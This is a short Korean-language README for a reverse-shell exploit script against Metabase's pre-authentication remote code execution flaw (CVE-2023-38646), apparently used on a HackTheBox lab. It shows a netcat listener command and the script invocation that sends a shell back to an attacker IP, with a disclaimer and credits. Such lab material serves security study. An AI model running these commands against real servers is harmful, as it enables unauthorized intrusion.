CVE-2023-38646 - Metabase Pre-Auth RCE

---

⚠️ 교육 및 승인된 보안 연구 목적으로만 사용하세요

원본 Exploit 저자

원본 PoC 작성자 securezeron에게 감사드립니다.

단계별 안내

1. 공격자 머신에서 리스너 설정:

   root@kitploit:~

   nc -nlvp 4444
   

2. 그런 다음, 다음 명령 실행:

   root@kitploit:~

   python3 CVE-2023-38646-Reverse-Shell.py -h
   python3 CVE-2023-38646-Reverse-Shell.py --rhost http://data.analytical.htb/ --lhost 10.10.16.8 --lport 4444
   

   

크레딧

• https://nvd.nist.gov/vuln/detail/CVE-2023-38646
• https://medium.com/@starlox.riju123/hackthebox-analytics-metabase-rce-bd3421cba76d
• https://www.youtube.com/watch?v=br7JZzcTDG0